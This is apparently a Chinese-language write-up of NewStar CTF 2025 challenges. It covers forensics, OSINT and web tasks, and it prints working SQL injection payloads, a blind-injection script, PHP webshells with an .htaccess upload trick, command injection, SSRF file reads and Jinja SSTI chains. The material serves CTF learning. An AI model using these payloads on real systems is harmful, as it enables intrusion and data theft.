Week1 Misc Sign in 题目描述中给出了 flag
1 flag{Welcome_to_NewStar_CTF_2025!}
我不要革命失败 根据提示打开 WinDbg,在 File -> Open Crash Dump 打开 dmp 文件,运行题目给的命令 !analyze -v
将输出全选复制给 AI,即可得到 flag
1 flag{CRITICAL_PROCESS_DIED_svchost.exe}
OSINT-天空belong 先查看图片的 EXIF 信息,得到两个关键信息
1 2 照片拍摄时间:2025:08:17 15:03:47 手机制造商:Xiaomi
图片中有飞机 ID,B-7198,搜索找到该飞机B-7198 - Urumqi Air ,查找该飞机的飞行记录,发现在照片拍摄时间范围内的只有济南飞长沙这班飞机,航班号为 UQ3574
点进去查看具体航线,发现除去起飞点,经过的省会只有武汉
MISC城邦-压缩术 根据提示,第一层是爆破,六位密码,字符集为小写字母和数字,得到密码 ns2025
第二层伪加密,随波逐流直接解
第三层泄露了 key.txt,压缩方法是 Store,直接明文攻击,拿到密钥后重新压缩,解压即可得到 flag
1 2 ./bkcrack.exe -C flag.zip -c key.txt -P key.zip -p key.txt ./bkcrack.exe -C flag.zip -k c5a43985 0efe59a5 5dfb3167 -U new.zip 123
1 flag{You_have_mastered_the_zip_magic!}
前有文字,所以搜索很有用 第一层,零宽隐写,解密后的字符 base64解密,得到第一段 flag,flag{you_
第二层,先运行 brainfuck 代码,得到解压密码 brainfuckisgooooood,然后解 snow 隐写,先把 word 的内容全选复制为 snow.txt,运行如下命令得到一段莫斯密码,解密即可得到第二段 flag,0V3RC4ME_
1 SNOW.EXE -p brainfuckisgooooood snow.txt
第三层,字频统计,得到第三段 flag,cH@1LenG3s}
1 flag{you_0V3RC4ME_cH@1LenG3s}
EZ_fence 给出一张 jpg 图片,010 查看图片,发现文件尾有压缩包,提取出来,发现是加密的,需要找到密码
题目提示是残缺的图片,改一下宽高,得到 base64 表
提示 4颗钉子,也就是栅栏分四栏,W型栅栏解密得到真正的密文,表中的 - 和 _ 需要转义
1 2 密文:rSvMwgdouWZVhAvoj79GhSvWztPoyLfPytvQwJjBnKz= base64表:8426513709qazwsxedcrfvtgbyhnujmikoplQWSAERFDTYHGUIKJOPLMNBVCXZ\-\_
base64 解码得到压缩包密码 New5tar_zjuatrojee1mage5eed77yo#,解压即可得到 flag
1 flag{y0u_kn0w_ez_fence_tuzh0ng}
Web multi-headach3 根据提示查看 /robots.txt,提示 /hidden.php,访问就又跳转到主界面了,抓包拿到 flag
strange_login 万能密码 1' or 1=1# 登陆,得到 flag
宇宙的中心是php 发现右键不能用,先禁用 js,再右键查看源码,发现路由 s3kret.php
访问 s3kret.php,考察 intval 函数特性绕过,当第二个参数为 0 时,该函数会自动识别各种进制,所以可以用 16 进制绕过,这里 POST 传入 16 进制数 0x2f 即可绕过
别笑,你也过不了第二关 第一关正常过,第二关直接控制台修改分数,让 score = 1000000;,等待游戏结束即可得到 flag
我真得控制你了 第一层禁用了各种查看源码的方法,使用插件禁用 js,然后直接提交表单,方法是 控制台输入如下代码
1 document.getElementById('nextLevelForm').submit();
提交后自动跳转到 weak_password.php,弱口令爆破,得到账号密码 admin/111111,拿到下一个路由 portal.php
利用数学表达式绕过正则限制,传入 ?newstar=(1/1)*2025,拿到 flag
黑客小W的故事(1)
这题很有意思,自己对 HTTP 了解的还是太少了
第一关让我们抓虫子,点击虫子并抓包,修改 count 参数的值,放包即可绕过
1 2 3 4 5 POST /hunt HTTP/1.1 Host: eci-2zec9jzeyoxhwqtiaa3w.cloudeci1.ichunqiu.com:8000 Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJOYW1lIjoiYjQ1MmU1OTAtZGUzOC00YTQ5LTkxMzctOTNiODQ2ZWEwYzdlIiwibGV2ZWwiOjF9.lujBiVscBb4ILXRGRJvuhPW2GmVMOqJ7gSiRJ_JSSsQ {"count":1000}
直接进入第二关,要与蘑菇先生谈话,查看提示,要通过 GET 方式传参 ?shipin=mogubaozi 才能正常交流
然后 POST 方式传入 guding,提示 你用 DELETE 的方法把我身上的虫子(chongzi)都弄掉,我就把骨钉给你
1 2 3 4 5 6 DELETE /talkToMushroom?shipin=mogubaozi HTTP/2 Host: eci-2zec9jzeyoxhwqtiaa3w.cloudeci1.ichunqiu.com:8000 Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJOYW1lIjoiVHJ1ZSIsImxldmVsIjoyfQ.2O8NCSQdnymgXB9DRdAghCIHyhDMVkP-5-MOPUvT34U Content-Length: 14 chongzi
去除虫子之后,他问你需要什么回报吗,我们再 POST 传入 guding,对话后可以进入第三关 /Level3_Sh3O
1 2 3 4 5 6 POST /talkToMushroom?shipin=mogubaozi HTTP/2 Host: eci-2zec9jzeyoxhwqtiaa3w.cloudeci1.ichunqiu.com:8000 Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJOYW1lIjoiVHJ1ZSIsImxldmVsIjoyfQ.2O8NCSQdnymgXB9DRdAghCIHyhDMVkP-5-MOPUvT34U Content-Length: 7 guding
查看提示说需要伪造 UA 头并展示自己的技能,这里 User-Agent 的校验比较严格,需要按照标准格式 进行修改
需要注意伪造 DashSlash 的时候他会提示太慢了,需要提高版本号
1 2 3 4 GET /Level3_SheoChallenge HTTP/2 Host: eci-2zec9jzeyoxhwqtiaa3w.cloudeci1.ichunqiu.com:8000 Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJOYW1lIjoiVHJ1ZSIsImxldmVsIjozfQ.lu5E6bm-oalLKntXi7wWVURKFYYcU68sq6e3kH5E_bw User-Agent: CycloneSlash/2.0 DashSlash/10.0
之后继续对话即可得到 flag
Week2 Misc 星期四的狂想 wireshark 打开,过滤 http 协议,右键追踪 http 流
在流 38 中看到上传了 crazy.php,内容是读取了 /flag 文件,进行了一些混淆后将读取的内容返回到 cookie 中
在流 39 中就能看到 token 的值,如下:
1 Cookie: token=R2FYdDNaaHhtWlMwS21TR0szRVZxSUF4QVV5c0hLVzlWZXN0MllwVmdDOUJUTlBaVlM9PQ==
写脚本解混淆还原出 /flag 的内容,脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import base64import itertoolsenc = "R2FYdDNaaHhtWlMwS21TR0szRVZxSUF4QVV5c0hLVzlWZXN0MllwVmdDOUJUTlBaVlM9PQ==" dec1 = base64.b64decode(enc).decode() groups = [dec1[i:i+10 ] for i in range (0 , len (dec1), 10 )] def rot13 (s ): r = '' for c in s: if 'a' <= c <= 'z' : r += chr ((ord (c) - ord ('a' ) + 13 ) % 26 + ord ('a' )) elif 'A' <= c <= 'Z' : r += chr ((ord (c) - ord ('A' ) + 13 ) % 26 + ord ('A' )) else : r += c return r for bits in itertools.product([0 , 1 ], repeat=len (groups)): b64str = '' for i, b in enumerate (bits): if b == 0 : b64str += rot13(groups[i]) else : b64str += groups[i][::-1 ] decoded = base64.b64decode(b64str, validate=True ) if b'flag' in decoded: print ("Decoded:" , decoded)
1 flag{What_1S_tHuSd4y_Quickly_VIVO50}
美妙的音乐 将给出的 mid 文件用 Audacity 打开即可得到 flag
1 flag{thi5_1S_m1Di_5tEG0}
OSINT-威胁情报 给出了恶意文件的 hash 值,直接去微步云沙箱上查,查到恶意文件的分析报告,根据 flag 格式找到对应的值
apt组织名称:kimsuky
通信C2服务器域名:alps.travelmountain.ml
恶意文件编译时间:2021-03-31
1 flag{kimsuky_alps.travelmountain.ml_2021-03-31}
日志分析-不敬者的闯入 要求找到攻击者上传的木马文件,查看日志发现访问 /admin/Webshell 行为
直接访问,查看源码,即可得到 flag
MISC城邦-NewKeyboard 打开流量包,发现是 USB 流量,先用 tshark 把 usbhid.data 数据提取出来
1 tshark -r "newkeyboard.pcapng" -Y 'usb.src == "1.1.2"' -T fields -e usbhid.data > hiddata2.txt
简单分析一下 hiddata2.txt 的前四行:
第一个字节是 0x01,表示按下。第二个字节如果是 0x02,表示按下 Shift,没有就不用管,然后看第四字节,是 0x02,二进制表示为 00000010,计算 Usage ID,计算方法是 索引-16=9(索引 = 3*8 + 1 = 25),Usage ID 9 对应字符 f。
第二行除了第一个字节全零,表示按键释放。
第三行 第四个字节为 0x80,计算 Usage ID:3x8+7-16=15,对应字符 l。
第四行也是除了第一个字节全零,表示按键释放。
1 2 3 4 01000002000000000000000000000000000000000000 01000000000000000000000000000000000000000000 01000080000000000000000000000000000000000000 01000000000000000000000000000000000000000000
根据上面的分析,写一个脚本自动化的分析,注意 shift 的按键映射,不然分析出来会有问题,脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 import sysUSAGE_MAP = { **{i: chr (ord ('a' ) + i - 4 ) for i in range (4 , 30 )}, **{i: str (i - 29 ) for i in range (30 , 39 )}, 39 : '0' , 40 : '<ENTER>' , 41 : '<ESC>' , 42 : '<BACKSPACE>' , 43 : '<TAB>' , 44 : ' ' , 45 : '-' , 46 : '=' , 47 : '[' , 48 : ']' , 49 : '\\' , 50 : '#' , 51 : ';' , 52 : "'" , 53 : '`' , 54 : ',' , 55 : '.' , 56 : '/' } SHIFT_SYMBOL_MAP = { '[' : '{' , ']' : '}' , '\\' : '|' , ';' : ':' , "'" : '"' , ',' : '<' , '.' : '>' , '/' : '?' , '-' : '_' , '=' : '+' , '`' : '~' } SHIFT_NUMBER_MAP = { '1' : '!' , '2' : '@' , '3' : '#' , '4' : '$' , '5' : '%' , '6' : '^' , '7' : '&' , '8' : '*' , '9' : '(' , '0' : ')' } def parse_usages_from_line (hexline ): data = bytes .fromhex(hexline.strip()) payload = data[1 :] usages = [] for i, b in enumerate (payload): for bit in range (8 ): if b & (1 << bit): usages.append(i * 8 + bit) return usages def decode_file (path ): prev = set () out = [] for line in open (path, encoding='utf-8' ): cur = set (parse_usages_from_line(line)) new = sorted (cur - prev) shift = 1 in cur for u in new: if u == 1 : continue orig = u - 8 ch = USAGE_MAP.get(orig, f'<U{orig} >' ) if ch.startswith('<U' ): out.append(ch) continue if shift: if ch.isalpha(): ch = ch.upper() elif ch in SHIFT_NUMBER_MAP: ch = SHIFT_NUMBER_MAP[ch] elif ch in SHIFT_SYMBOL_MAP: ch = SHIFT_SYMBOL_MAP[ch] out.append(ch) prev = cur print ('—— 解码结果 ——' ) print ('' .join(out)) decode_file(sys.argv[1 ] if len (sys.argv) > 1 else 'hiddata2.txt' ) import sysUSAGE_MAP = { **{i: chr (ord ('a' ) + i - 4 ) for i in range (4 , 30 )}, **{i: str (i - 29 ) for i in range (30 , 39 )}, 39 : '0' , 40 : '<ENTER>' , 41 : '<ESC>' , 42 : '<BACKSPACE>' , 43 : '<TAB>' , 44 : ' ' , 45 : '-' , 46 : '=' , 47 : '[' , 48 : ']' , 49 : '\\' , 50 : '#' , 51 : ';' , 52 : "'" , 53 : '`' , 54 : ',' , 55 : '.' , 56 : '/' } SHIFT_SYMBOL_MAP = { '[' : '{' , ']' : '}' , '\\' : '|' , ';' : ':' , "'" : '"' , ',' : '<' , '.' : '>' , '/' : '?' , '-' : '_' , '=' : '+' , '`' : '~' } SHIFT_NUMBER_MAP = { '1' : '!' , '2' : '@' , '3' : '#' , '4' : '$' , '5' : '%' , '6' : '^' , '7' : '&' , '8' : '*' , '9' : '(' , '0' : ')' } def parse_usages_from_line (hexline ): data = bytes .fromhex(hexline.strip()) payload = data[1 :] usages = [] for i, b in enumerate (payload): for bit in range (8 ): if b & (1 << bit): usages.append(i * 8 + bit) return usages def decode_file (path ): prev = set () out = [] for line in open (path, encoding='utf-8' ): cur = set (parse_usages_from_line(line)) new = sorted (cur - prev) shift = 1 in cur for u in new: if u == 1 : continue orig = u - 8 ch = USAGE_MAP.get(orig, f'<U{orig} >' ) if ch.startswith('<U' ): out.append(ch) continue if shift: if ch.isalpha(): ch = ch.upper() elif ch in SHIFT_NUMBER_MAP: ch = SHIFT_NUMBER_MAP[ch] elif ch in SHIFT_SYMBOL_MAP: ch = SHIFT_SYMBOL_MAP[ch] out.append(ch) prev = cur print ('—— 解码结果 ——' ) print ('' .join(out)) decode_file(sys.argv[1 ] if len (sys.argv) > 1 else 'hiddata2.txt' )
1 flag{th1s_is_newkeyboard_y0u_get_it!}
Web 真的是签到诶 分析 php 源码,对参数 cipher 先 base64 解码,再 atbash 解码,再将空格替换为空,再 rot13 解码,最后 eval 执行这一系列解码后的命令
所以我们只需要把需要执行的命令经过上面这些步骤的逆向就行了,空格用 ${IFS} 绕过,操作如下:
POST 传参 cipher=dW91dGlhKCdrbXQke0VIVX0vaGJtZycpOw== 即可得到 flag
DD加速器 使用 ; 拼接需要执行的命令即可,flag 不在 /flag,用 find / -name "flag" 递归查找含有 flag 的文件名
其他都是权限不够,只有 /.sbvlkyeyd5uq0r9mvz5nlyzos8ifnxf8/flag 文件了
但是直接 cat 会提示命令过长,使用通配符即可绕过
白帽小K的故事(1) 文件上传,提示多查看前端的接口,先将 html 文件下载下来分析,一共有 4 个接口,接口和大致功能如下:
1 2 3 4 /v1/list:查看所有文件 /v1/music?file=:播放音乐 /v1/upload:上传文件 /v1/onload:执行文件
先抓包上传 shell.php,内容为 <?php system('cat /flag'); ?>
然后 POST 方式请求 /v1/onload 接口,传参 file=shell.php 即可执行命令得到 flag
搞点哦润吉吃吃橘 一个登陆框,账号密码在源码里写着 Doro/Doro_nJlPVs_@123
抓包分析,有两个包,一个开始验证的包,一个提交验证的包
思路就是将第一个包的响应包的 session 字段放到第二个包的 cookie 里再发包,但是手动计算会超时,于是写个 python 脚本解,运行即可自动更换 session 并计算表达式,得到 flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 import requestsimport jsonimport redef solve_challenge (): base_url = "https://eci-2zegxn80jvtdsj3d9ftf.cloudeci1.ichunqiu.com:5000" initial_session = "eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiRG9ybyJ9.aON8vQ.JaRLS0NrlOKN8Me8FSFl3RuCcWg" session = requests.Session() session.cookies.set ('session' , initial_session) print ("发送开始挑战请求..." ) start_headers = { 'Content-Type' : 'application/json' , 'Host' : 'eci-2zegxn80jvtdsj3d9ftf.cloudeci1.ichunqiu.com:5000' , "User-Agent" :"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0" } start_response = session.post(f"{base_url} /start_challenge" , headers=start_headers, data='{}' ) start_data = start_response.json() print ("开始挑战响应:" , json.dumps(start_data, indent=2 , ensure_ascii=False )) if 'Set-Cookie' in start_response.headers: new_session = start_response.headers['Set-Cookie' ].split('session=' )[1 ].split(';' )[0 ] session.cookies.set ('session' , new_session) print (f"更新 session: {new_session} " ) expression = start_data.get('expression' , '' ) match = re.search(r'token = \((\d+) \* (\d+)\) \^ (0x[0-9a-fA-F]+)' , expression) if match : base_num = int (match .group(1 )) multiplier = int (match .group(2 )) xor_value = int (match .group(3 ), 16 ) print (f"提取参数: base_num={base_num} , multiplier={multiplier} , xor_value={hex (xor_value)} " ) token = (base_num * multiplier) ^ xor_value print (f"计算 token: ({base_num} * {multiplier} ) ^ {hex (xor_value)} = {token} " ) print ("\n发送验证请求..." ) verify_headers = { 'Content-Type' : 'application/json' , 'Host' : 'eci-2zegxn80jvtdsj3d9ftf.cloudeci1.ichunqiu.com:5000' , "User-Agent" :"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0" } verify_data = { 'token' : token } verify_response = session.post(f"{base_url} /verify_token" , headers=verify_headers, data=json.dumps(verify_data)) verify_result = verify_response.json() print ("验证结果:" , json.dumps(verify_result, indent=2 , ensure_ascii=False )) if __name__ == "__main__" : solve_challenge()
小E的管理系统 SQL注入,首先 Fuzz 一下看看过滤了什么,使用 burp 抓包,发送到 Intruder 模块,使用自定义的字典测试
按照长度进行排序,发现长度为 167 的都回显 "error":"Firewall blocked",说明这些字符被防火墙过滤了
提取了一下发现过滤了 = , ; /**/ 空格 / ' " # --+
单双引号都被过滤了,肯定不是字符型注入了,测试一下,空格用 %09 代替,= 用 > 代替也能达到同样的效果,发现可以将所有数据都查出来,为数字型注入
然后就是测试字段的列数及回显位,因为 , 被过滤了,使用 join 连接操作绕过逗号,判断出五列且都能回显
1 2 测试字段列数:1%09order%09by%095 测试回显位:1%09union%09select%09*%09from%09(select%091)a%09join%09(select%092)b%09join%09(select%093)c%09join%09(select%094)d%09join%09(select%095)%09as%09alias
使用 database() 查询数据库时报错了,使用 sqlite_version() 查询成功,说明是 SQLite 数据库
1 1%09union%09select%09*%09from%09(select%09sqlite_version())a%09join%09(select%092)b%09join%09(select%093)c%09join%09(select%094)d%09join%09(select%095)%09as%09alias
然后就是正常查表名,有这个几个表 node_status,sys_config,sqlite_autoindex_sys_config_1,sqlite_sequence
1 1%09union%09select%09*%09from%09(select%09group_concat(name)%09from%09sqlite_master)a%09join%09(select%092)b%09join%09(select%093)c%09join%09(select%094)d%09join%09(select%095)%09as%09alias
猜测 flag 在 sys_config 表里,先查所有表的结构,再查询 sys_config 表的数据,即可得到 flag
1 2 查询所有表的结构:1%09union%09select%09*%09from%09(select%09sql%09from%09sqlite_master)a%09join%09(select%092)b%09join%09(select%093)c%09join%09(select%094)d%09join%09(select%095)%09as%09alias 查询sys_config表的数据:1%09union%09select%09*%09from%09(select%09id%09||%09config_key%09||%09config_value%09||%092%09||%093%09from%09sys_config)a%09join%09(select%092)b%09join%09(select%093)c%09join%09(select%094)d%09join%09(select%095)%09as%09alias
Week3 Misc 日志分析-盲辨海豚 sql 盲注日志分析,直接扔 CTF-NetA,得到 flag
1 flag{SQL_injection_logs_are_very_easy}
流量分析-S7的秘密 s7comm 流量,参考这篇文章,里面详细的介绍了s7comm 协议各字段的意义:[ffffffff0x] 工控协议:S7COMM协议分析(上)-腾讯云开发者社区-腾讯云
当 PDU 类型为 Job 时,Write Var 就是写入值,所以 Write Var 比 Read Var 多了一个 Data 项,Address 字段则是传输这些值的顺序,所以将传输的 16进制数据按照 Address 的顺序排序,再 16 进制转字符即可
提取 Address 和 Data 字段的数据之后,写脚本还原顺序,即可得到 flag
1 2 3 4 5 6 7 8 9 10 11 12 def process_data (): data = [["1" ,"0" ,"49" ],["2" ,"7" ,"70" ],["3" ,"2" ,"4f" ],["4" ,"a" ,"74" ],["5" ,"b" ,"61" ], ["6" ,"d" ,"74" ],["7" ,"c" ,"6e" ],["8" ,"e" ,"21" ],["9" ,"8" ,"6f" ],["a" ,"1" ,"49" ], ["b" ,"3" ,"54" ],["c" ,"9" ,"72" ],["d" ,"6" ,"6d" ],["e" ,"4" ,"5f" ],["f" ,"5" ,"69" ]] sorted_chars = [chr (int (row[2 ], 16 )) for row in sorted (data, key=lambda x: int (x[1 ], 16 ))] print ('' .join(sorted_chars)) if __name__ == "__main__" : process_data()
内存取证-Windows篇
题目描述: 本关考验你内存取证本领,请考生携带好文具(kali虚拟机和Volatility2),做好准备,迎接挑战本题的flag由多个问题的答案组成,使用下划线”_”将答案各部分连接,就能得到flag
1、恶意进程的外联ip:port
2、恶意进程所在的文件夹名称
3、用户的主机登录密码
4、电脑主机的名称
使用 LovelyMemLite 加载内存镜像文件,查看系统信息,得到电脑主机名称 ARISAMIK
查看网络信息,只有这一个进程有外联地址和端口信息 125.216.248.74:11451,同时也给出了该外联进程的文件夹 temp
使用软件自带的 Mimikatz 功能,直接爆破出用户的主机登录密码 admin123
1 flag{125.216.248.74:11451_temp_admin123_arisamik}
区块链-以太坊的约定
题目描述: 城邦附近开了一家存储链子的工坊,快来看看吧!本题由多个小问题组成,得到各个小问题答案后用下划线”_“拼接即可
1.注册小狐狸钱包,并提交小狐狸钱包助记词个数
2.1145141919810 Gwei等于多少ETH (只保留整数)
3.查询此下列账号第一次交易记录的时间,提交年月日拼接,如20230820
0x949F8fc083006CC5fb51Da693a57D63eEc90C675
4.使用remix编译运行附件中的合约,将输出进行提交
小狐狸钱包助记词个数正常为 12
1 Ether = 10^9 Gwei,简单换算一下,1145141919810 Gwei等于 1145 ETH
使用区块链浏览器 Etherscan 查一下该账号,比赛一般都是在测试网上部署的,查到账号的交易记录,翻到最前面,点进交易详细页面,即可看到交易时间 Jun-14-2024 06:01:48 AM UTC
合约内容如下,看着跟 C 语言有点像,直接人脑编译一下,sum < product,所以会输出 solidity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract SimpleOperation { function getResult() public pure returns (string memory) { uint a = 10; uint b = 5; uint sum = a + b; uint product = a * b; if (sum > product) { } return "solidity"; } }
1 flag{12_1145_20240614_solidity}
jail-evil eval 题目源码如下,有一些黑名单过滤,命名空间也有限制,只有 print eval exit help 能用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import sysimport ossys.stdout.reconfigure(encoding='utf-8' ) if hasattr (sys.stdout, 'reconfigure' ) else None FLAG = os.getenv("ICQ_FLAG" , "" ) BLACK_LIST = ["import" , "os" , "sys" , "subprocess" , "read" , "open" ,"__" ] def eval_jail (): while True : try : user_input = input (">>> " ) if any (bad_word in user_input for bad_word in BLACK_LIST): print ("Access Denied!" ) continue eval (user_input, {"__builtins__" : {}}, {"print" : print , "eval" : eval , "exit" : exit, "help" : help }) except Exception as e: print (f"Error: {e} " ) def main (): eval_jail() if __name__ == "__main__" : main()
直接用 help 即可,题目提示也是暗示用 help 绕过,先输入 help() 函数打开帮助文档,然后输入 __main__,使用__main__可以查看当前模块的信息,包括全局变量,得到 flag
Web mygo!!! 点击页面上的 flag 选项,抓包,很明显的 ssrf,直接读 flag 读不到,测试发现可以读到 flag.php
将源码提取出来,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php $client_ip = $_SERVER ['REMOTE_ADDR' ];if ($client_ip !== '127.0.0.1' && $client_ip !== '::1' ) { header ('HTTP/1.1 403 Forbidden' ); echo "你是外地人,我只要\"本地\"人" ; exit ; } highlight_file (__FILE__ );if (isset ($_GET ['soyorin' ])) { $url = $_GET ['soyorin' ]; echo "flag在根目录" ; $ch = curl_init ($url ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, false ); curl_setopt ($ch , CURLOPTURLOPT_FOLLOWLOCATION, true ); curl_setopt ($ch , CURLOPT_BUFFERSIZE, 8192 ); curl_exec ($ch ); curl_close ($ch ); exit ; } ?>
同样是 ssrf,限制了 $client_ip !== '127.0.0.1',无法直接访问 flag.php 然后通过伪造 IP 来绕过,只能利用 index.php 来访问 flag.php ,soyorin 参数传入 file 伪协议读取文件,得到 flag
1 /index.php?proxy=http://localhost/flag.php?soyorin=file:///flag
ez-chain 利用 file_get_contents($file); 函数读文件,仔细审计源码,可以发现 urldecode() 在 filter() 之后执行,这意味着我们可以利用 双重URL编码 绕过,检测输入的黑名单形同虚设
但是源码同时还对输出有过滤,要求输出的内容不能包含 f,并且会递归 base64 解码数据,我们可以使用 string.rot13 流来读取数据
1 2 3 php://filter/string.rot13/resource=/flag 二次url编码: %25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37
得到的内容也是很巧没有 f,rot13 解码一下即可得到 flag
mirror_gate 查看源码得到提示,将 HINT base64 解码后是:something_is_in_/uploads/
1 2 <!-- flag is in flag.php --> <!-- HINT: c29tZXRoaW5nX2lzX2luXy91cGxvYWRzLw== -->
根据提示扫描目录 /uploads/,发现上传文件的目录下有个 .htaccess
.htaccess 文件是 Apache 配置文件,内容如下:可以把 .webp 后缀的文件当成 php 文件执行
1 AddType application/x-httpd-php .webp
所以我们只需要上传一个 .webp 后缀的文件,直接写一句话木马会被 WAF 拦截,加上文件头 GIF89a,过滤了 php 使用短标签绕过,貌似还过滤了 eval(,可以在 eval 后加空格绕过
1 2 GIF89a <?= @eval ($_POST["a"]);?>
上传后即可执行,蚁剑连接即可得到 flag
小E的秘密计划 提示先找到网站备份文件,访问 www.zip 即可下载到网站备份文件,备份文件夹中存在着 .git 目录,使用 git log 命令半天没找到有用的文件,后来查到 git reflog 命令可以查到已经删除的分支
恢复已经删除的 test 分支,git checkout -b test 353b98f,成功拿到账号密码
提示:小E拿mac写的这段代码。这会泄露什么吗? 搜索发现 mac 会泄露 .DS_Store 文件,url 后直接拼接 .DS_Store,即可下载文件 无标题.DS_Store,使用工具 Python-dsstore 即可恢复文件内容
然后直接拼接访问 ffffllllaaaagggg114514,即可得到 flag
who’ssti 分析一下代码,首先从 func_List 中随机选择 5 个函数名存入 need_List 字典,初始值为 0。BoleanFlag 初始为 False。
trace_calls 函数:这是一个系统跟踪函数,在每次函数调用时触发。如果被调用的函数名在 need_List 中,就将它的值设为 1。如果 need_List 中所有函数都被调用过(即值全为 1),就将 BoleanFlag 设为 True。
POST 请求时,从表单获取 submit 字段,开启函数调用跟踪,用 render_template_string(submit) 渲染用户输入的内容,如果 BoleanFlag 为 True,就返回 flag。
题目给出的五个函数是 choice,dedent,load,mean,get_close_matches
依次调用这些函数,如下:使用 lipsum.__globals__.__builtins__.__import__ 来引入模块,然后用 {% set _ = ... %} 来调用函数。
1 2 3 4 5 {% set _ = lipsum.__globals__.__builtins__.__import__('random').choice([1,2,3]) %} {% set _ = lipsum.__globals__.__builtins__.__import__('textwrap').dedent(' abc ') %} {% set _ = lipsum.__globals__.__builtins__.__import__('json').loads('{}') %} {% set _ = lipsum.__globals__.__builtins__.__import__('statistics').mean([1,2,3]) %} {% set _ = lipsum.__globals__.__builtins__.__import__('difflib').get_close_matches('abc', ['abc','abd']) %}
提交即可返回 flag
白帽小K的故事(2) 查看提示,是布尔盲注,但是有 WAF,先测试一下过滤了什么,使用 burp 跑一下字典
按照长度排序,长度为 164 的响应包里的字符是被过滤了,有 /**/,length,select,//,空格,%0a,%0d
可以使用 () 格式绕过空格,大写绕过 select 和 length
布尔盲注需要正确和错误时的回显不同,根据回显来盲注字符
这是正确的情况下的回显:{"status":"ok","message":"Found"}
这是错误情况下的回显:{"status":"error","message":"Not Found"}
可以写脚本,根据回显内容的不同爆破数据库,数据表,字段名和字段数据
payload 如下:
1 2 3 4 5 6 7 8 获取所有数据库: amiya'AND(substr((SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata)),1,1))='F'# 获取Flag中所有表: amiya'AND(substr((SELECT(GROUP_CONCAT(table_name))FROM(information_schema.tables)WHERE(table_schema='Flag')),1,1))='f'# 获取flag表里的所有字段名: amiya'AND(substr((SELECT(GROUP_CONCAT(column_name))FROM(information_schema.columns)WHERE(table_name='flag')),1,1))='f'# 获取flag字段里的所有数据: amiya'AND(substr((SELECT(GROUP_CONCAT(flag))FROM(Flag.flag)),1,1))='{char}'#
脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 import requestsimport stringurl = "https://eci-2ze0s8nr2f9f3y9hgmfk.cloudeci1.ichunqiu.com:80/search" param = "name" def test_payload (payload ): data = {param: f"amiya'{payload} #" } response = requests.post(url, data=data) json_data = response.json() return json_data.get("status" ) == "ok" and json_data.get("message" ) == "Found" def extract_data (payload_type ): charset = string.ascii_lowercase + string.ascii_uppercase + string.digits + '-_{},:;=@.' result = "" if payload_type == "databases" : print ("[*] 正在获取所有数据库名..." ) elif payload_type == "tables" : print ("[*] 正在获取所有表名..." ) elif payload_type == "columns" : print ("[*] 正在获取字段名..." ) elif payload_type == "flag" : print ("[*] 正在获取flag..." ) for pos in range (1 , 300 ): found = False for char in charset: if payload_type == "databases" : payload = f"AND(substr((SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata)),{pos} ,1))='{char} '" elif payload_type == "tables" : payload = f"AND(substr((SELECT(GROUP_CONCAT(table_name))FROM(information_schema.tables)WHERE(table_schema='Flag')),{pos} ,1))='{char} '" elif payload_type == "columns" : payload = f"AND(substr((SELECT(GROUP_CONCAT(column_name))FROM(information_schema.columns)WHERE(table_name='flag')),{pos} ,1))='{char} '" elif payload_type == "flag" : payload = f"AND(substr((SELECT(GROUP_CONCAT(flag))FROM(Flag.flag)),{pos} ,1))='{char} '" if test_payload(payload): result += char found = True print (f"[+] 位置 {pos} : '{char} ' -> 当前结果: {result} " ) break if not found: break return result if __name__ == "__main__" : flag = extract_data("flag" ) print (f"\n[!] flag内容: {flag} " )
Week4 Misc 流量分析-听声辩位 sql盲注流量分析,直接扔 CTF-NetA,得到 flag
1 flag{blind_injection_Re@lly_Biggg!}
区块链-智能合约
题目内容:如果你想和工坊签订合约,就来这个地址找它吧!
